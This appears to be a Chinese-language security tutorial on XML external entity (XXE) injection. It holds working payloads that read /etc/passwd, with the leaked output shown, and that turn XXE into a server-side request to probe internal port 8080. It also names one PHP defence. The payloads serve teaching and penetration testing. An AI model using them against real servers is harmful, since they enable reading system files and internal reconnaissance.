XXE漏洞利用技巧 从XML到远程代码执行

  • A+
所属分类:网络安全文章
腾讯云网站解决方案帮您轻松应对建站成本高/网络不稳定/安全漏洞多/单点部署无冗余等常见问题,满足电商/直播/教育等日均PV1-100万的网站部署需求。

XXE漏洞利用技巧 从XML到远程代码执行

你的Web应用是否存在XXE漏洞?

如果你的应用是通过用户上传处理XML文件或POST请求(例如将SAML用于单点登录服务甚至是RSS)的,那么你很有可能会受到XXE的攻击。XXE是一种非常常见的漏洞类型,我们几乎每天都会碰到它。在去年的几次web应用渗透中,我们就成功的利用了好几回。

什么是XXE

简单来说,XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

例如,如果你当前使用的程序为PHP,则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体,从而起到防御的目的。

基本利用

通常攻击者会将payload注入XML文件中,一旦文件被执行,将会读取服务器上的本地文件,并对内网发起访问扫描内部网络端口。换而言之,XXE是一种从本地到达各种服务的方法。此外,在一定程度上这也可能帮助攻击者绕过防火墙规则过滤或身份验证检查。

以下是一个简单的XML代码POST请求示例:

  1. POST /vulnerable HTTP/1.1
  2. Host: www.test.com
  3. User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5. Accept-Language: en-US,en;q=0.5
  6. Referer: https://test.com/test.html
  7. Content-Type: application/xml
  8. Content-Length: 294
  9. Cookie: mycookie=cookies;
  10. Connection: close
  11. Upgrade-Insecure-Requests: 1
  12. <?xml version="1.0"?>
  13. <catalog>
  14.    <core id="test101">
  15.       <author>John, Doe</author>
  16.       <title>I love XML</title>
  17.       <category>Computers</category>
  18.       <price>9.99</price>
  19.       <date>2018-10-01</date>
  20.       <description>XML is the best!</description>
  21.    </core>
  22. </catalog>

之后,上述代码将交由服务器的XML处理器解析。代码被解释并返回:{“Request Successful”: “Added!”}

现在,当攻击者试图滥用XML代码解析时会发生什么?让我们编辑代码并包含我们的恶意payload:

  1. <?xml version="1.0"?>
  2. <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
  3. <catalog>
  4.    <core id="test101">
  5.       <author>John, Doe</author>
  6.       <title>I love XML</title>
  7.       <category>Computers</category>
  8.       <price>9.99</price>
  9.       <date>2018-10-01</date>
  10.       <description>&xxe;</description>
  11.    </core>
  12. </catalog>

代码被解释并返回:

  1. {"error": "no results for description root:x:0:0:root:/root:/bin/bash
  2. daemon:x:1:1:daemon:/usr/sbin:/bin/sh
  3. bin:x:2:2:bin:/bin:/bin/sh
  4. sys:x:3:3:sys:/dev:/bin/sh
  5. sync:x:4:65534:sync:/bin:/bin/sync...

Blind OOB XXE

如上例所示,服务器将/etc/passwd文件的内容作为响应返回给我们的XXE。但是在某些情况下,即便服务器可能存在XXE,也不会向攻击者的浏览器或代理返回任何响应。遇到这种情况,我们可以使用Blind XXE漏洞来构建一条外带数据(OOB)通道来读取数据。虽然我们无法直接查看文件内容,但我们仍然可以使用易受攻击的服务器作为代理,在外部网络上执行扫描以及代码。

场景1 – 端口扫描

在第一个示例中,我们通过URI将请求指向了/etc/passwd文件,并最终成功的为我们返回了文件中的内容。除此之外,我们也可以使用http URI并强制服务器向我们指定的端点和端口发送GET请求,将XXE转换为SSRF(服务器端请求伪造)。

以下代码将尝试与端口8080通信,根据响应时间/长度,攻击者将可以判断该端口是否已被开启。

  1. <?xml version="1.0"?>
  2. <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
  3. <catalog>
  4.    <core id="test101">
  5.       <author>John, Doe</author>
  6.       <title>I love XML</title>
  7.       <category>Computers</category>
  8.       <price>9.99</price>
  9.       <date>2018-10-01</date>
  10.       <description>&xxe;</description>
  11.    </core>
  12. </catalog>

成都、重庆区云产品3折特惠,全新机型计算提速,最高睿频可达3.7GHz
CE安全网

发表评论

您必须登录才能发表评论!